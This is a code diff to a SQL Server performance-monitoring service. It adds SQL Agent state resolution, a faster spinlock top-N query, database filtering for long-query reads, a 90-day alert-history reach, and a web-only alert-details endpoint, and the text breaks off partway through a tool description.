+            return DarlingSelfAlertEvaluator.StaleWindow;
+        }
+    }
+
+    /// <summary>One server's SQL Agent state as <c>get_job_history</c> reports it. <paramref name="AgentRunning"/> is null
+    /// when the state is not known: no recent snapshot, no Agent service, or a snapshot that did not say.</summary>
+    public sealed record AgentState(
+        string Server, bool? AgentRunning, string? AgentStatusDesc, DateTime? NextRunUtc, DateTime CapturedAtUtc);
+
+    /// <summary>
+    /// Turns a stored snapshot into the state served. A snapshot is judged only while it is fresh, against the alert's live
+    /// window (<paramref name="staleWindow"/>, from <see cref="ReadStaleWindowAsync"/>) and with the comparison the "Agent
+    /// Not Running" self-alert uses: an older one says nothing about the Agent at the anchor (<paramref name="anchorUtc"/>,
+    /// the window's end: now, or the <c>as_of</c> asked for), so it reads as unknown with no next run, never as the last
+    /// value seen. A fresh row of <c>agent_running = false</c> with no description is the collector's
+    /// "no Agent service row" answer, which reads as <see cref="NoAgentServiceDescription"/> with no running flag: that
+    /// server has no Agent to stop, and the alert stays silent for it on purpose.
+    /// </summary>
+    internal static AgentState ResolveAgentState(
+        string server, bool? running, string? statusDesc, DateTime? nextRunUtc, DateTime capturedAtUtc, DateTime anchorUtc, TimeSpan staleWindow)
+    {
+        if (anchorUtc - capturedAtUtc >= staleWindow)
+            return new AgentState(server, null, AgentUnknownDescription, null, capturedAtUtc);
+        if (running == false && statusDesc is null)
+            return new AgentState(server, null, NoAgentServiceDescription, null, capturedAtUtc);
+        return new AgentState(server, running, statusDesc, nextRunUtc, capturedAtUtc);
+    }
+
+    /// <summary>A fault a test arms for the current async flow, thrown ahead of the Agent read to prove the runs survive it.</summary>
+    internal static readonly System.Threading.AsyncLocal<Exception?> AgentReadFaultForTests = new();
+
+    /// <summary>The Agent state of one server (<paramref name="serverId"/>) or of every enabled server that has a snapshot,
+    /// ordered by name, as of <paramref name="anchorUtc"/> (UTC): each server's newest snapshot at or before that instant,
+    /// judged against it, so a snapshot collected after the anchor is never read. A server with no snapshot at or before the
+    /// anchor is absent.</summary>
+    public static async Task<List<AgentState>> ReadLatestAgentStatesAsync(
+        NpgsqlDataSource postgres, int? serverId, DateTime anchorUtc, CancellationToken cancellationToken = default)
+    {
+        if (AgentReadFaultForTests.Value is { } fault) throw fault;
+        var staleWindow = await ReadStaleWindowAsync(postgres, cancellationToken);
+        var clocks = await DarlingServerClocksReader.GetAsync(postgres, serverId, McpCommandDeadlines.ReadSeconds, cancellationToken);
+        var states = new List<AgentState>();
+        await using var command = postgres.CreateCommand(LatestAgentStatusSql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Integer, Value = (object?)serverId ?? DBNull.Value });
+        /* collection_time is naive UTC (timestamp, no zone), so the anchor is bound as a naive instant: a Kind=Utc DateTime bound
+           to a timestamp parameter would be shifted by the server's zone, silently. */
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(anchorUtc, DateTimeKind.Unspecified) });
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            var id = reader.GetInt32(0);
+            states.Add(ResolveAgentState(
+                reader.IsDBNull(1) ? "" : reader.GetString(1),
+                reader.IsDBNull(2) ? null : reader.GetBoolean(2),
+                reader.IsDBNull(3) ? null : reader.GetString(3),
+                reader.IsDBNull(4) ? null : DarlingServerClocksReader.ClockFor(clocks, id).ToUtc(reader.GetDateTime(4)),
+                DateTime.SpecifyKind(reader.GetDateTime(5), DateTimeKind.Utc),
+                anchorUtc,
+                staleWindow));
+        }
+
+        return states;
+    }
+
     /// <summary>Lite/Dashboard's job-duration display formatting (Xs / Xm Ys / Xh Ym).</summary>
     public static string FormatDuration(long seconds)
     {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingLatchSpinlockReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingLatchSpinlockReader.cs
index 18c5c670e7..2bd1603dd6 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingLatchSpinlockReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingLatchSpinlockReader.cs
@@ -160,33 +160,17 @@ public static async Task<List<LatchStatRow>> GetLatchStatsTopNAsync(
     /// The top-N spinlocks over the window, one row per spinlock — the collision analog of
     /// <see cref="LatchStatsTopNSql"/>, mirroring the Dashboard's <c>get_spinlock_stats</c> per-name
     /// aggregation (top by total delta collisions). Per-second collision/spin rates from the latest interval's
-    /// stored <c>sample_interval_seconds</c> (per-name <c>LAG</c> for pre-V127 rows), null when unknowable,
+    /// stored <c>sample_interval_seconds</c> (the gap to the previous in-window row of the name for pre-V127 rows),
+    /// null when unknowable,
     /// with that interval itself as <c>latest_interval_seconds</c> — the latch query's own line (#3541 A10),
     /// so a caller reading a null <c>collisions_per_second</c> sees WHY beside it rather than inferring it
     /// (#3653 A16). Runs on <c>v_spinlock_stats</c>. $1 server_id, $2 start, $3 end (naive UTC), $4 top.
+    /// <para>#5495: the window is read once, by a hash aggregate, and the newest row of each of the top-N names
+    /// is then fetched by its (server_id, collection_time) index key. The earlier shape window-sorted every
+    /// row of the window to find that one row per name, which took 3-5 s for a 7-day window.</para>
     /// </summary>
     public const string SpinlockStatsTopNSql = """
-        WITH windowed AS
-        (
-            SELECT
-                spinlock_name,
-                collection_time,
-                delta_collisions,
-                delta_spins,
-                delta_backoffs,
-                /* #3540: the STORED interval where the row has one; 0 (no delta knowable) becomes NULL through NULLIF
-                   so the latest-interval rates below are NULL — reported as null, never 0.00 — when the newest
-                   collection was a restart. NULL (a pre-V127 row) falls back to the LAG. */
-                CASE WHEN sample_interval_seconds IS NULL
-                     THEN extract(epoch FROM (date_trunc('second', collection_time) - date_trunc('second', LAG(collection_time) OVER (PARTITION BY spinlock_name ORDER BY collection_time))))
-                     ELSE NULLIF(sample_interval_seconds, 0)
-                END AS interval_seconds
-            FROM v_spinlock_stats
-            WHERE server_id = $1
-            AND   collection_time >= $2
-            AND   collection_time <= $3
-        ),
-        agg AS
+        WITH agg AS
         (
             SELECT
                 spinlock_name,
@@ -194,34 +178,67 @@ agg AS
                 CAST(SUM(delta_spins) AS bigint) AS total_delta_spins,
                 CAST(SUM(delta_backoffs) AS bigint) AS total_delta_backoffs,
                 MAX(collection_time) AS latest_collection_time
-            FROM windowed
+            FROM v_spinlock_stats
+            WHERE server_id = $1
+            AND   collection_time >= $2
+            AND   collection_time <= $3
+            /* The earlier read joined its newest-row CTE on spinlock_name = spinlock_name, which drops a NULL name before the
+               LIMIT; the column is nullable, so the name is excluded here, ahead of the top-N cut, to keep that behavior. */
+            AND   spinlock_name IS NOT NULL
             GROUP BY spinlock_name
         ),
-        latest AS
+        top_n AS
         (
-            SELECT DISTINCT ON (spinlock_name)
-                spinlock_name,
-                CASE WHEN interval_seconds > 0 THEN CAST(delta_collisions AS double precision) / interval_seconds END AS collisions_per_second,
-                CASE WHEN interval_seconds > 0 THEN CAST(delta_spins AS double precision) / interval_seconds END AS spins_per_second,
-                /* #3653 A16: the span the two rates above divide by, published beside them as interval_seconds
-                   (null when unknowable) — the same line LatchStatsTopNSql carries for the severity block. */
-                CASE WHEN interval_seconds > 0 THEN CAST(interval_seconds AS double precision) END AS latest_interval_seconds
-            FROM windowed
-            ORDER BY spinlock_name, collection_time DESC
+            SELECT *
+            FROM agg
+            ORDER BY total_delta_collisions DESC
+            LIMIT $4
         )
         SELECT
             a.spinlock_name,
             a.total_delta_collisions,
             a.total_delta_spins,
             a.total_delta_backoffs,
-            l.collisions_per_second,
-            l.spins_per_second,
+            CASE WHEN iv.interval_seconds > 0 THEN CAST(l.delta_collisions AS double precision) / iv.interval_seconds END AS collisions_per_second,
+            CASE WHEN iv.interval_seconds > 0 THEN CAST(l.delta_spins AS double precision) / iv.interval_seconds END AS spins_per_second,
             a.latest_collection_time,
-            l.latest_interval_seconds
-        FROM agg AS a
-        JOIN latest AS l ON l.spinlock_name = a.spinlock_name
+            /* #3653 A16: the span the two rates above divide by, published beside them as interval_seconds
+               (null when unknowable) - the same line LatchStatsTopNSql carries for the severity block. */
+            CASE WHEN iv.interval_seconds > 0 THEN CAST(iv.interval_seconds AS double precision) END AS latest_interval_seconds
+        FROM top_n AS a
+        /* #5495: the newest row per spinlock is looked up by its (server, time) index key for only the top-N
+           names, instead of window-sorting every row of the window (1.2M rows, ~3 s at 7 days on the test
+           rig) to find it. The window function that read used (a per-name lag over the whole window, plus a
+           distinct-row sort) was there only to produce one interval for the newest row. */
+        CROSS JOIN LATERAL
+        (
+            SELECT s.delta_collisions, s.delta_spins, s.sample_interval_seconds
+            FROM v_spinlock_stats AS s
+            WHERE s.server_id = $1
+            AND   s.collection_time = a.latest_collection_time
+            AND   s.spinlock_name = a.spinlock_name
+            LIMIT 1
+        ) AS l
+        CROSS JOIN LATERAL
+        (
+            /* #3540: the STORED interval where the row has one; 0 (no delta knowable) becomes NULL through NULLIF
+               so the latest-interval rates above are NULL - reported as null, never 0.00 - when the newest
+               collection was a restart. NULL (a pre-V127 row) falls back to the gap to the previous row of the
+               same name INSIDE the window (what the old per-name LAG saw; null when the newest row is the first). */
+            SELECT CASE WHEN l.sample_interval_seconds IS NULL
+                        THEN extract(epoch FROM (date_trunc('second', a.latest_collection_time) - date_trunc('second',
+                                (SELECT p.collection_time
+                                 FROM v_spinlock_stats AS p
+                                 WHERE p.server_id = $1
+                                 AND   p.collection_time >= $2
+                                 AND   p.collection_time < a.latest_collection_time
+                                 AND   p.spinlock_name = a.spinlock_name
+                                 ORDER BY p.collection_time DESC
+                                 LIMIT 1))))
+                        ELSE NULLIF(l.sample_interval_seconds, 0)
+                   END AS interval_seconds
+        ) AS iv
         ORDER BY a.total_delta_collisions DESC
-        LIMIT $4
         """;
 
     public static async Task<List<SpinlockStatRow>> GetSpinlockStatsTopNAsync(
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingLongQueryReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingLongQueryReader.cs
index 6f4a71f1cd..2e29c5a40b 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingLongQueryReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingLongQueryReader.cs
@@ -11,6 +11,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service.Mcp;
 
@@ -22,7 +23,8 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 /// <c>long_query_completions</c> table (a post-V14 collector has no <c>v_*</c> passthrough view). Ordered by
 /// duration DESC (NULLS LAST so attentions, whose duration is NULL, follow the ranked completions). The SQL
 /// is a public const so Darling.Tests can pin the dialect + columns without a live Postgres. $1 server_id,
-/// $2/$3 window (naive UTC), $4 row cap.
+/// $2/$3 window (naive UTC), $4 row cap, $5 the chosen databases (#5244: one text[], NULL for every
+/// database).
 /// </summary>
 internal static class DarlingLongQueryReader
 {
@@ -76,6 +78,7 @@ FROM long_query_completions
         WHERE server_id = $1
         AND   collection_time >= $2
         AND   collection_time <= $3
+        AND   ($5::text[] IS NULL OR database_name = ANY($5))
         ORDER BY duration_microseconds DESC NULLS LAST, event_time DESC
         LIMIT $4
         """;
@@ -90,9 +93,12 @@ FROM long_query_completions
     /// both SKUs now share: the population a completions tool must keep is the window's slowest, because a
     /// newest-first cap re-ranked afterwards can omit the slowest run in the window entirely, which is what
     /// Lite's twin did until this change.</para>
+    ///
+    /// <para><paramref name="databases"/> (#5244) narrows the read to the chosen databases BEFORE the cap, so the
+    /// page is the slowest N of those databases. <see cref="DatabaseFilter.All"/> (the default) is every database.</para>
     /// </summary>
     public static async Task<List<LongQueryReadRow>> GetRecentLongQueryCompletionsAsync(
-        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int cap, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int cap, DatabaseFilter databases = default, CancellationToken cancellationToken = default)
     {
         var rows = new List<LongQueryReadRow>();
 
@@ -101,6 +107,7 @@ public static async Task<List<LongQueryReadRow>> GetRecentLongQueryCompletionsAs
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         DarlingMcpReadParameters.AddWindow(command, serverId, startUtc, endUtc);
         DarlingMcpReadParameters.AddInt(command, cap);
+        command.Parameters.Add(databases.Parameter());
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAgTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAgTools.cs
index 35e4902b34..ed225cf887 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAgTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAgTools.cs
@@ -38,7 +38,7 @@ public sealed class DarlingMcpAgTools
     /// one AG), the same shape as <c>get_analysis_findings</c>' <c>limit</c>. It no longer decides how many
     /// groups come back on its own: <see cref="DarlingAgReader.Build"/> fills the page most-severe-first while
     /// the SERIALIZED response stays under the shared <see cref="McpResponseBudget.DefaultBytes"/> (32 KB),
-    /// stopping before the group that would cross it (always keeping at least one group, even an oversized one).
+    /// skipping any group that would cross it (always keeping at least one group, even an oversized one, and, #5042, at least one view of each availability group first). Only this MCP path applies the budget; /api/ag passes none.
     /// A fixed count could not do that: #4471 sized 11 from a 2.7 KB/group fixture, and a real 42-group
     /// production fleet (2 replicas plus 6-14 databases per group, ~6 KB/group) measured 63,333 characters at
     /// that cap — about 2x over budget, because real groups ran more than double the fixture's assumed size.
@@ -73,7 +73,7 @@ public sealed class DarlingMcpAgTools
         "with no Availability Groups. Groups come back MOST SEVERE FIRST then by the largest " +
         "secondary_lag_seconds/queue depth in the group, so a cut never hides a problem — an uncapped fleet-wide " +
         "call measured 265,794 characters on a 43-server production fleet with several many-database AGs, well " +
-        "over an MCP client's typical per-result limit. Default: as many groups as fit ~32 KB, most-severe-first, " +
+        "over an MCP client's typical per-result limit. Default: as many views as fit ~32 KB, one view of each AG first, then most-severe-first, " +
         "tracking each group's actual width instead of a fixed count; limit is an upper bound on top of that. " +
         "groups_truncated (with groups_truncated_note) flags when the scope held more than came back — " +
         "groups_total/groups_returned say how many, and the fix is to scope by server_name or raise limit.")]
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAlertTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAlertTools.cs
index 7947b77cfd..5172dbd383 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAlertTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAlertTools.cs
@@ -76,7 +76,7 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 [McpServerToolType]
 public sealed class DarlingMcpAlertTools
 {
-    [McpServerTool(Name = "get_alert_history"), Description("Gets alert history, NEWEST FIRST: each row FIRED; notification_type says whether it was DELIVERED, a separate question from DISMISSED (UI-acknowledged), excluded by default. THE PAGE IS BOUNDED BY limit, NOT hours_back: truncated says the window held more, and oldest/newest_returned_alert_time bound how far the page reached. An EMPTY page can mean no alerts fired, or that every alert here was dismissed: dismissed_excluded_count says which; include_dismissed = true returns them, labelled dismissed = true. A null send_error proves nothing about delivery.<<GUIDE>>Gets recent alert history from the alert log, NEWEST FIRST: what alerts fired, when, for which server, the current vs threshold value, whether email/webhook delivery succeeded, and whether the alert was muted. Omit server_name to see the whole fleet (each row names its server); pass one to scope to a single server. THE PAGE IS BOUNDED BY limit, NOT BY hours_back: alerts_returned is how many rows you got, truncated says the window held more than limit, and oldest_returned_alert_time / newest_returned_alert_time bound the page — under newest-first ordering the oldest stamp IS how far back this read reached, so on a noisy fleet a 24-hour request at the default limit may cover minutes. Raise limit or narrow hours_back when truncated is true; widening hours_back cannot help. BY DEFAULT THIS READ EXCLUDES DISMISSED ALERTS — rows an operator acknowledged in the Viewer's Alert History grid. Dismissal says nothing about whether the alert fired or mattered, so an incident reconstruction that ignores it can miss the very critical someone already looked at: dismissed_excluded says whether the filter applied and dismissed_excluded_count is how many rows in the window it removed, and include_dismissed = true returns them, each labelled dismissed = true. notification_type is the delivery disposition and is the ONLY field that says why a row did not deliver: 'email'/'webhook'/'email+webhook' delivered on that channel; 'throttled' means the delivery cooldown was still inside this alert's window so nothing was attempted (the throttle working, not a fault); 'folded' means a repeat was rolled onto another server's post for the same metric and is named there under 'Other Servers Affected', so it WAS reported; 'failed' means a channel was attempted and came back unsuccessful, with send_error carrying the first failing channel's text; 'unconfigured' means no email or webhook channel is set up; 'muted' means a mute rule suppressed it; 'digest' means the analysis finding was UNCORROBORATED (one fact in its chain, no matched co-fire check) and the corroboration gate routed it to the daily Analysis Singles Digest and the web/MCP surfaces instead of a paging channel — nothing was attempted, nothing was suppressed, and routing_reason on the row says which components decided; 'none' is a resolution row, which no channel applies to. Do NOT split the not-delivered rows on send_error: it is null on 'throttled', 'folded' and 'digest' rows and on every row written before those values existed, so a null error is not evidence of a working cooldown. 'undelivered' is a retained legacy value that means throttled OR folded OR failed with nothing in the row to say which — count those rows separately rather than attributing them. severity is the row's tier — 'critical', 'warning', 'info' or 'resolution' — and severity_source says where it came from: 'fired' when the row persisted the tier the alert actually fired at (graded alerts such as Poison Wait, Volume Free Space and Database State fire Warning OR Critical by measurement), 'metric_name' when the row carries no tier and the metric's name is the only evidence (rows written before the tier was persisted, alerts whose severity is fixed per metric, and every resolution row). Do not infer a graded alert's tier from its name: a 'Poison Wait' row with severity 'warning' fired as a warning. route says WHERE the posts went: the alert's family (self-monitor / reports / agent-jobs / performance), the notification route that matched it (route_id null = the parent channels in Settings > Notifications answered everything) and each delivered channel with the route that supplied its destination — see get_notification_routes for the taxonomy and the routes. route is null on rows written before routing existed and on rows that never reached a delivery decision (throttled, folded, muted, unconfigured, digest, resolutions), so a null route is not evidence of a routing fault. routing is a DIFFERENT question from route: for an 'Analysis: …' finding it is the corroboration gate's decision one step UPSTREAM of the fan-out — 'page' when the finding earned a channel (two or more facts in its chain, or a matched co-fire check, or one of the two by-construction stories) and 'digest' when it was a lone uncorroborated fact — with routing_reason naming the components the gate read, so 'why didn't this page' is answered by the row. Both are null on every engine alert and on analysis rows written before the gate existed. To see what the digest carried, read the rows with notification_type 'digest' in the window: each is a persisted finding with its full detail_text and context, findable in get_analysis_findings by the story hash in its metric_name. Dismissal is an acknowledgement, not a verdict — a dismissed critical still fired — so set this when reconstructing an incident rather than triaging what is still open. Each row then carries dismissed so the two populations stay distinguishable.")]
+    [McpServerTool(Name = "get_alert_history"), Description("Gets alert history, NEWEST FIRST: each row FIRED; notification_type says whether it was DELIVERED, a separate question from DISMISSED (UI-acknowledged), excluded by default. THE PAGE IS BOUNDED BY limit, NOT hours_back: truncated says the window held more, and oldest/newest_returned_alert_time bound how far the page reached. An EMPTY page can mean no alerts fired, or that every alert here was dismissed: dismissed_excluded_count says which; include_dismissed = true returns them, labelled dismissed = true. A null send_error proves nothing about delivery.<<GUIDE>> Gets recent alert history from the alert log, NEWEST FIRST: what alerts fired, when, for which server, the current vs threshold value, whether email/webhook delivery succeeded, and whether the alert was muted. hours_back reaches 2160 (90 days, the alert table's retention). Omit server_name to see the whole fleet (each row names its server); pass one to scope to a single server. THE PAGE IS BOUNDED BY limit, NOT BY hours_back: alerts_returned is how many rows you got, truncated says the window held more than limit, and oldest_returned_alert_time / newest_returned_alert_time bound the page — under newest-first ordering the oldest stamp IS how far back this read reached, so on a noisy fleet a 24-hour request at the default limit may cover minutes. Raise limit or narrow hours_back when truncated is true; widening hours_back cannot help. BY DEFAULT THIS READ EXCLUDES DISMISSED ALERTS — rows an operator acknowledged in the Viewer's Alert History grid. Dismissal says nothing about whether the alert fired or mattered, so an incident reconstruction that ignores it can miss the very critical someone already looked at: dismissed_excluded says whether the filter applied and dismissed_excluded_count is how many rows in the window it removed, and include_dismissed = true returns them, each labelled dismissed = true. notification_type is the delivery disposition and is the ONLY field that says why a row did not deliver: 'email'/'webhook'/'email+webhook' delivered on that channel; 'throttled' means the delivery cooldown was still inside this alert's window so nothing was attempted (the throttle working, not a fault); 'folded' means a repeat was rolled onto another server's post for the same metric and is named there under 'Other Servers Affected', so it WAS reported; 'failed' means a channel was attempted and came back unsuccessful, with send_error carrying the first failing channel's text; 'unconfigured' means no email or webhook channel is set up; 'muted' means a mute rule suppressed it; 'digest' means the analysis finding was UNCORROBORATED (one fact in its chain, no matched co-fire check) and the corroboration gate routed it to the daily Analysis Singles Digest and the web/MCP surfaces instead of a paging channel — nothing was attempted, nothing was suppressed, and routing_reason on the row says which components decided; 'none' is a resolution row, which no channel applies to. Do NOT split the not-delivered rows on send_error: it is null on 'throttled', 'folded' and 'digest' rows and on every row written before those values existed, so a null error is not evidence of a working cooldown. 'undelivered' is a retained legacy value that means throttled OR folded OR failed with nothing in the row to say which — count those rows separately rather than attributing them. severity is the row's tier — 'critical', 'warning', 'info' or 'resolution' — and severity_source says where it came from: 'fired' when the row persisted the tier the alert actually fired at (graded alerts such as Poison Wait, Volume Free Space and Database State fire Warning OR Critical by measurement), 'metric_name' when the row carries no tier and the metric's name is the only evidence (rows written before the tier was persisted, alerts whose severity is fixed per metric, and every resolution row). Do not infer a graded alert's tier from its name: a 'Poison Wait' row with severity 'warning' fired as a warning. route says WHERE the posts went: the alert's family (self-monitor / reports / agent-jobs / performance), the notification route that matched it (route_id null = the parent channels in Settings > Notifications answered everything) and each delivered channel with the route that supplied its destination — see get_notification_routes for the taxonomy and the routes. route is null on rows written before routing existed and on rows that never reached a delivery decision (throttled, folded, muted, unconfigured, digest, resolutions), so a null route is not evidence of a routing fault. routing is a DIFFERENT question from route: for an 'Analysis: …' finding it is the corroboration gate's decision one step UPSTREAM of the fan-out — 'page' when the finding earned a channel (two or more facts in its chain, or a matched co-fire check, or one of the two by-construction stories) and 'digest' when it was a lone uncorroborated fact — with routing_reason naming the components the gate read, so 'why didn't this page' is answered by the row. Both are null on every engine alert and on analysis rows written before the gate existed. To see what the digest carried, read the rows with notification_type 'digest' in the window: each is a persisted finding with its full detail_text and context, findable in get_analysis_findings by the story hash in its metric_name. Dismissal is an acknowledgement, not a verdict — a dismissed critical still fired — so set this when reconstructing an incident rather than triaging what is still open. Each row then carries dismissed so the two populations stay distinguishable.")]
     public static async Task<string> GetAlertHistory(
         NpgsqlDataSource postgres,
         [Description("Server name or display name. Omit to return alerts across all servers (the fleet default).")] string? server_name = null,
@@ -89,7 +89,8 @@ positional C# caller can be re-bound by. */
         [Description("Include alerts an operator has dismissed in the Viewer. Default false, which is the Alert History grid's own read.")] bool include_dismissed = false,
         CancellationToken cancellationToken = default)
     {
-        var hoursError = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
+        /* #5562 ruling R8: the alert table keeps 90 days and the read is capped by its row limit (DarlingAlertReader LIMIT), so it reaches the retention. */
+        var hoursError = McpHelpers.ValidateWindow(hours_back, as_of, WebReadReach.MaxHoursFor("get_alert_history"), out var windowEnd);
         if (hoursError != null) return hoursError;
         var limitError = McpHelpers.ValidateTop(limit);
         if (limitError != null) return limitError;
@@ -147,6 +148,9 @@ the caller off widening a window whose contents they were never shown. */
                     alert_time = r.AlertTime.ToString("o"),
                     server_id = r.ServerId,
                     server_name = r.ServerName,
+                    /* The spelling the row was WRITTEN under, which is what a mute rule keyed by name matches
+                       (server_name above is the registry display name where one exists). */
+                    stored_server_name = r.StoredServerName,
                     metric_name = r.MetricName,
                     current_value = r.CurrentValue,
                     threshold_value = r.ThresholdValue,
@@ -190,8 +194,8 @@ the span the page covers (newest-first, so the oldest stamp IS the reach), and t
                    that shaped the population together with how much it removed. */
                 alerts_returned = page.Count,
                 truncated,
-                oldest_returned_alert_time = page.Min(r => r.AlertTime).ToString("o"),
-                newest_returned_alert_time = page.Max(r => r.AlertTime).ToString("o"),
+                oldest_returned_alert_time = McpHelpers.FormatEffectiveStart(page.Min(r => r.AlertTime)),
+                newest_returned_alert_time = McpHelpers.FormatEffectiveStart(page.Max(r => r.AlertTime)),
                 order = "alert_time_desc",
                 dismissed_excluded = !include_dismissed,
                 dismissed_excluded_count = dismissedExcludedCount,
@@ -204,6 +208,85 @@ that shaped the population together with how much it removed. */
         }
     }
 
+    /// <summary>The shapes of <c>alert_time</c> a page can send back: the instant exactly as <c>get_alert_history</c>
+    /// spells it (<c>o</c> format, no zone for the store's naive UTC, or with a <c>Z</c>), with or without fractional
+    /// seconds. Exact, not general: a stamp that is not one of these is a key that matches nothing.</summary>
+    private static readonly string[] AlertTimeFormats =
+    {
+        "yyyy-MM-ddTHH:mm:ssK",
+        "yyyy-MM-ddTHH:mm:ss.FFFFFFFK",
+    };
+
+    /// <summary>
+    /// ONE alert's advice, for the web Alert History page's first expand of an Analysis row (#5241). Keyed by the
+    /// page's own row identity (<paramref name="server_id"/>, <paramref name="metric_name"/>,
+    /// <paramref name="alert_time"/>, an ISO-8601 instant as <c>get_alert_history</c> spells it), because the log has
+    /// no surrogate key. Answers <c>{"details": [...]}</c>: the items <see cref="ProjectDetails"/> builds, or an
+    /// empty array for no matching row, a context with no advice, or a key that does not parse (an empty answer, not
+    /// an error: the page falls back to the row's <c>detail_text</c>).
+    /// <para>Deliberately <b>not</b> a <c>[McpServerTool]</c>: it is registered in the web <c>/api/read</c> catalog
+    /// only, so tools/list, the tool budget and every MCP answer are unchanged, and the page asks for one row's
+    /// advice when an operator opens it rather than for the whole page's on every poll.</para>
+    /// </summary>
+    internal static async Task<string> GetAlertDetails(
+        NpgsqlDataSource postgres,
+        int server_id,
+        string metric_name,
+        string alert_time,
+        CancellationToken cancellationToken)
+    {
+        try
+        {
+            JsonArray? details = null;
+            if (!string.IsNullOrEmpty(metric_name)
+                && DateTime.TryParseExact(alert_time.Trim(), AlertTimeFormats, CultureInfo.InvariantCulture,
+                    DateTimeStyles.AdjustToUniversal | DateTimeStyles.AssumeUniversal, out var time))
+            {
+                var contextJson = await DarlingAlertReader.GetAlertContextJsonAsync(
+                    postgres, server_id, metric_name, DateTime.SpecifyKind(time, DateTimeKind.Unspecified), cancellationToken);
+                details = ProjectDetails(contextJson);
+            }
+
+            return new JsonObject { ["details"] = details ?? new JsonArray() }.ToJsonString(McpHelpers.JsonOptions);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return McpHelpers.FormatError("get_alert_details", ex);
+        }
+    }
+
+    /// <summary>
+    /// The advice items of a stored alert context (#5241), or null when the context holds no advice. The items come
+    /// from <see cref="AlertContextSerializer.TryDeserialize"/>, the read the desktop's Alert Detail window uses, so
+    /// the two surfaces cannot disagree about what a context holds.
+    /// <para>A context with no <see cref="AlertDetailItem.Body"/> anywhere (every engine alert) adds nothing
+    /// the row's <c>detail_text</c> does not already say — <see cref="AlertDetailText.Flatten"/> writes exactly
+    /// its headings and fields — so it yields none.</para>
+    /// <para><b>Never <see cref="AlertDetailItem.Remediation"/>.</b> That is the typed payload the desktop's Apply
+    /// button drives; the web is advise-only (analysis-findings.js), so it is not read into the projection at
+    /// all.</para>
+    /// </summary>
+    internal static JsonArray? ProjectDetails(string? contextJson)
+    {
+        if (!AlertContextSerializer.TryDeserialize(contextJson, out var context)
+            || !context.Details.Any(d => !string.IsNullOrEmpty(d.Body)))
+        {
+            return null;
+        }
+
+        return new JsonArray(context.Details.Select(d => (JsonNode?)new JsonObject
+        {
+            ["heading"] = d.Heading,
+            ["fields"] = new JsonArray(d.Fields.Select(f => (JsonNode?)new JsonObject
+            {
+                ["label"] = f.Label,
+                ["value"] = f.Value,
+            }).ToArray()),
+            ["body"] = d.Body,
+            ["is_code_block"] = d.IsCodeBlock,
+        }).ToArray());
+    }
+
     [McpServerTool(Name = "get_alert_settings"), Description("Gets the alert configuration currently in effect: enabled flags, thresholds, cooldowns, delivery mode, and cadences. cooldown_minutes gates whether an alert FIRES; delivery.cooldown_minutes separately bounds the resulting post, per alert fingerprint and, for a re-notification, per metric across every monitored server. Darling: an unseeded store answers status unavailable and darling.json's defaults still govern until it seeds. Lite always answers its live in-memory settings. An empty knob list (e.g. long_running_query's exclusions) means cleared, not a default in force.<<GUIDE>>Gets the current alert configuration the service is using: which alerts are enabled and their thresholds (CPU, blocking, deadlocks, poison waits, long-running queries/jobs, tempdb, low disk, failed jobs, database state, Availability Group health, connection loss), the cooldown, excluded databases, the deadlock/blocking delivery mode and cooldown, the scheduled-analysis cadence, and the fleet-sweep cadence. TWO different cooldowns are reported and they govern different stages: top-level cooldown_minutes gates whether the alert engine FIRES at all, while delivery.cooldown_minutes bounds the resulting Slack/Teams/PagerDuty/webhook/email post twice over: once per alert FINGERPRINT, and once per METRIC across the whole fleet for a RE-notification. The second bound is why one fault on forty servers does not cost forty posts an hour; the servers it holds back are named on the post that does go out, under an 'Other Servers Affected' section. A first notice is never held back by either bound, and PerEvent delivery mode opts out of the per-metric one. A channel going quiet with alerts still in get_alert_history is delivery.cooldown_minutes, not cooldown_minutes. The self_alerts group holds the thresholds for alerts about the MONITOR STORE itself rather than a monitored server — those arrive with Server: 'Monitor Store' by default, or with the store's own peers.storeName label when the operator set that file-only field (a multi-store estate names each store on its own self-alerts), so an alert naming either spelling is tuned here and nowhere else, including Retention Held's warn/critical ratios. Mute rules match the alert row's server spelling, so on a store with storeName set, scope self-alert mutes to that label, not to 'Monitor Store'. The health_bands group is NOT an alert: its two tiers decide what band a server's card, the worst-first ranking and 